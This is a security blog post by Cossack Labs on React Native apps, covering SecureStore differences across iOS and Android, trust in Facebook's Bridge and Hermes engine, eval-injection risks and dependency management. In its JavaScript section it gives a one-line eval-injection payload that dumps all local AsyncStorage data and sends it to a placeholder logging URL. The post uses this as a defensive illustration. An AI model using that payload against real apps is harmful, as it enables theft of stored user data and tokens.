Matomo

React Native app security: Things to keep in mind | Cossack Labs

🇺🇦 We stand with Ukraine, and we stand for Ukraine. We offer free assessment and mitigation services to improve Ukrainian companies security resilience.

List of blogposts

React Native app security: Things to keep in mind

When developers choose to use React Native as a platform for their mobile apps, they think about the benefits of one codebase for two platforms, increased development speed and advantages of TypeScript.

But what about application security?

Many articles claim that React Native apps are less secure. In this article, we shed light on React Native apps’ security based on our experience and explain some risks and threats developers should address to prevent typical mistakes.


  1. React Native app security and architecture
  2. Do React Native apps inherit JavaScript vulnerabilities?
  3. 50 shades of dependencies
  4. How to build a secure React Native app
  5. Closing thoughts

1. React Native app security and architecture #

Let’s start with the basics: What is React Native?

React Native is a cross-platform solution that allows writing native apps using React (JavaScript or TypeScript). The native app executes JavaScript code with the native or custom JavaScript engine in a separate thread. Native JS engine uses the source code stored in .jsbundle file, while custom JS engines can have various behaviours.

rn app security

Communication between JavaScript engine and native parts of the application happens with the help of the so-called Bridge: When some events occur in the native part of the app, they are turned into serialized messages, batched, and asynchronously passed to the JavaScript engine. It works a similar way for events from JavaScript engine to a native app.

When looking at the React Native app from the security perspective, you need to analyze all its parts one by one, and the communication between them as well. It requires an understanding of iOS and Android native platforms, JavaScript engines, and the connection between them–the Bridge.

rn security

The Bridge is responsible for communication between native platform and JS engine.

Read further to learn security considerations about each component.


Improper platform usage #

The initial security advice for both native and React Native apps is the same: use native platform features appropriately.

OWASP Mobile Top 10 states that the most common security issue is “Improper Platform Usage” that includes misusing of the platform-specific features like biometric authentication, persistent storage, hardware-backed encryption, WebView components, etc.

Why do these issues arise?

Using platform-specific features requires an understanding of platform’s risks and threats, OS functioning, and application architecture.

OWASP analysis (Mobile Top 10 and MASVS) reveals that app developers have a foggy notion of each platform security specifics. When it comes to React Native developers, it is assumed that they should be aware of security implications for both platforms, so challenges multiply.

Many mobile applications depend on their backend services, which define the app's behaviour and architecture. Configuring security controls on the mobile-side often requires synchronizing them with the backend.

The collaboration of backend and mobile app developers is akey to producing secure mobile applications.

The community around the React Native platform provides common modules for platform-specific features. They help React Native developers save precious time by avoiding writing native code.

The downside is that the additional abstraction layer distances developers from app internals even further.


We help companies with mobile security engineering and end-to-end encryption. Read how we secured notes in Bear iOS and macOS apps using Themis:


React Native is a leaky abstraction #

iOS and Android applications have similar architecture, but certain features work very differently under the hood. React Native provides an abstraction layer that leaks details of implementation for each platform.

For example, let’s see how we can natively store sensitive data with SecureStore.

SecureStore module is a part of the popular Expo framework used for React apps in JavaScript and TypeScript. It provides a way to encrypt and securely store data locally on the device.

SecureStore on iOS #

SecureStore uses Keychain to store the data in iOS. Keychain is an encrypted system storage that is persistent across app reinstalls. Keychain supports hardware-backed encryption with Secure Enclave starting with iPhone 5s (A5 chip).

It means that the devices, running two latest iOS versions (iOS 13 and 14), support hardware-backed encryption mechanisms. Generally, Keychain gets unlocked (decrypted) when the device is unlocked with a passcode, biometrics, or just by pressing the Home button.

SecureStore on Android #

Things are different for Android.

SecureStore stores the data in SharedPreferences, providing a way to encrypt it using Android KeyStore. Taking into account a wide variety of Android devices, your app may run on the one that doesn’t support a hardware-backed KeyStore. Values stored this way are decrypted on demand (when they are referenced). SharedPreferences storage is not persistent across app reinstalls.

iOS(Keychain) Android(SharedPreferences+ KeyStore)
Data stored encrypted
Data persists across app reinstalls
Hardware-backed encryption ➕ / ➖
Data decrypted only before usage
Comparison of SecureStore internals: it works differently for iOS and Android. #

Such significant differences mean that even if developers use SecureStore to abstract away from the native platform, they will still end up implementing platform-specific security features:

  • OWASP MASVS L2 recommends erasing sensitive data from iOS Keychain if the app was reinstalled . This is an out-of-the-box feature for Android.

  • Hardware-based key management significantly improves the app’s security and prevents common mistakes like storing encryption keys in plist/SharedPreferences. While it’s available out-of-the-box for all latest iPhones and iOS versions, Android apps require additional work as hardware-based KeyStore is not guaranteed.

  • OWASP MASVS L2 suggests encrypting sensitive data before placing it to Keychain. This introduces an additional Defence-in-Depth layer and allows keeping the data encrypted until it is needed in the app.

This example demonstrates the importance of understanding how the internals of React Native components work with native features, especially when they are related to security controls.


Should you trust React Native platform? #

React Native platform is a third-party framework developed by Facebook. When making apps for iOS and Android, developers trust functionality provided by the iOS and Android systems, their libraries, their hardware. Adding the React Native framework means adding another party that should be trusted as well.

React Native on iOS #

iOS apps consist of the native code (aka “native part”) and the React Native part. While the native part and the Apple JavaScriptCore engine are based on native system functionality, the internal logic of the Bridge is created and supported by Facebook.

rn security bridge av

Who knows what Facebook code is inside The Bridge?

There are no custom production-ready alternatives to JavaScriptCore at this moment. However, Apple doesn’t prohibit their usage.

React Native on Android #

React Native applications for Android use a custom JavaScript engine called Hermes (starting with React Native 0.60.4). Hermes is created by Facebook and optimized for running JavaScript on Android.

The advantage of a custom JavaScript engine is the improved handling of JavaScript code—it’s possible to compile JavaScript into a binary file and use it.

iOS application bundle, on the contrary, contains a JavaScript code file, which is a plaintext JavaScript source of the application. It is not obfuscated, just minimized, making it one of the potential sensitive assets.

rn security hermes

Facebook becomes a part of supply chain for React Native apps on Android.

On the other hand, using a custom JavaScript engine can be a disadvantage since it might become another source of unexpected security behaviour by itself.

For Hermes, you can take a look at what vulnerabilities have been found and addressed to date: CVE-2020-1913 , CVE-2020-1912 , CVE-2020-1911 .


Single point of trust or Single point of failure? #

When a significant number of applications have the same component, this component has a higher chance of being targeted by an attacker.

Also, it is not guaranteed that third-party components will be aligned with native functionality updates.

This can lead to various bugs, including security-related ones. Imagine that a regular iOS update changes something in the JavaScript engine and breaks communication between the native source code and JavaScript source code. As a result, the app becomes nonfunctional.

Trusting React Native platform and its components (the Bridge, Hermes) means that you understand and accept potential security consequences.

2. Do React Native apps inherit JavaScript vulnerabilities? #

As React Native apps are using JavaScript, ReactJS to be more specific, the security analysis of RN apps includes a search for typical JS-related vulnerabilities, like XSS attacks.

Generally, the attack surface is pretty wide for pure JavaScript applications. It narrows down for ReactJS, and it narrows down even more for React Native.

For example, React Native source code doesn’t use HTML elements (as opposed to Cordova apps). Typical browser-based XSS vectors (f.e. based on href attribute) are relevant for ReactJS but not for React Native. It makes sense because React Native apps are not browser-based, they only run JavaScript code.

Even though React Native apps are associated with an adequate level of protection against XSS attacks, developers can use potentially dangerous API in JavaScript code, like the eval() function.

The code below shows how to steal all the data from a local storage (AsyncStorage) by exploiting eval-based injection and accessing React Native APIs:

_reactNative.AsyncStorage.getAllKeys(function(err,result){_reactNative.AsyncStorage.multiGet(result,function(err,result){fetch('http://example.com/logger.php?token='+JSON.stringify(result));});});
Eval-based injection that steals data from local storage. Source.. #

Eval-based injections work when it’s possible to pass a malicious string (like above) for a dynamic evaluation (either when JavaScript code calls eval directly or indirectly ).

Linters and static code analysers (f.e. ESLint ) can detect usage of dangerous functions like eval() and notify developers.


We work with companies on demanding markets. Read how Acra database security suite protects data in critical infrastructure.


3. 50 shades of dependencies #

React Native creators promote the “Learn once, write anywhere” approach. As a result, many developers avoid writing features in native code in favour of React Native. Even if the required feature is not presented in the React Native SDK, it is likely to be already implemented in some community-driven modules.

Therefore, React Native applications tend to contain more than a dozen dependencies. Each dependency can have other dependencies underneath. A couple of dozens is turning into hundreds.

rn security dependencies

A typical day for React Native app developer.

Supporting such infrastructure requires additional efforts: continuous dependency scanning, security patches, and upgrades. A large number of dependencies increases the risk of supply chain attacks and zero-day vulnerabilities.


Monitor dependencies with known security issues #

Continuous dependency scanning and patching is an essential step in Secure-SDLC and automated security testing of React Native apps. However, developers tend to postpone updating dependencies with potential security issues, because dependencies are often heavily interconnected with each other and once updated cause updates for the others.

Many tools help in automating the update process (f.e. Dependabot ), but manual work always remains for modules that can’t be updated easily.

If one of the app’s dependencies has a reported security issue and can’t be easily patched, consider the following:

  • Learn more about the security issue: its scope and risks. It can be irrelevant to the project (f.e. vulnerable code that your app never calls). Seek professional advice if the risks are not clear.

  • Document the issue to make the team aware. Even if it is irrelevant to the project at the moment, it can become relevant in the future.

  • Triage the issue with a security team and schedule updating or replacing the dependency.

  • Book time for the team to deal with the security issues: some of them appear all of a sudden and require immediate action, others can be solved during your scheduled “security sprints”.


Be ready to react #

React Native is an open-source platform, which means that sometimes developers fork the original repository and build apps using their own React Native fork. The decision to use a forked repo can introduce new bugs and affect the speed of addressing updates from the original repo.

iOS and Android ecosystems themselves are also updated quite often, and it takes time for the React Native platform to support the changes. It takes time for forked repos to pull off changes from the original repo. Then it takes time for dependencies to be updated. And only after all these updates developers can start updating their apps.

rn security dependencies archi

If developers want to use new iOS/Android features, they need to wait till React Native and libraries are updated.

When choosing React Native as a platform for mobile applications, accept the risk of delayed updates (compared to pure native apps) and increased MTTD/MTTR, and prepare a remediation strategy.


4. How to build a secure React Native app #

✔ Trusting React Native framework: While mobile developers have to trust Apple and Google by default, using React Native requires trusting Facebook as well.

✔ Having security expertise on every platform: Implementing security controls requires profound knowledge about every platform: iOS, Android, React Native. Your development team should have highly experienced React Native engineers with expertise in native security controls. Alternatively, you can hire an external security team with expertise in mobile application security.

✔ Mind the React Native specific vulnerabilities: React Native applications introduce new unique threat vectors that should be mitigated. Investing time into a proper risk assessment exercise, having a Risks and Threats Model (based on things you’ve learnt here) will help your team to visualize the security landscape and simplify security decision making.

✔ React Native apps are still mobile apps: In addition to React Native security specifics, OWASP MASVS and MSTG should be used as a foundation of appropriate security measures in React Native apps.

✔ Accepting timing risks: As React Native apps depend on a React Native platform and typically have numerous dependencies, updating them is not as quick as updating native apps (including security updates). Regular “maintenance and updates” sprints and response to critical issues should be a part of a product security strategy.

✔ Manage the dependencies: Establish a process for selecting, researching, updating, and replacing the dependencies. Use automated dependency analyzers and code scanning tools to detect known vulnerabilities and patch dependencies.


Struggling with mobile app security?
Get assistance from our engineers.


5. Closing thoughts #

Mobile apps written with React Native can be well-protected. It has its own cost and additional risks.

To make your app secure, you need to follow the best practices of Secure Software Development Lifecycle, define and address possible risks, plan your security controls, and prepare a remediation strategy.

Invest your time in building a threat model for your application as it helps to bring together security and usability of the app.

If you’re struggling with app security, you’re not alone, feel free to drop us a line to get some assistance.


Contact us

Get whitepaper

Apply for the position

Our team will review your resume and provide feedback
within 5 business days

Thank you!
We’ve received your request and will respond soon.
Your resume has been sent!
Our team will review your resume and provide feedback
within 5 business days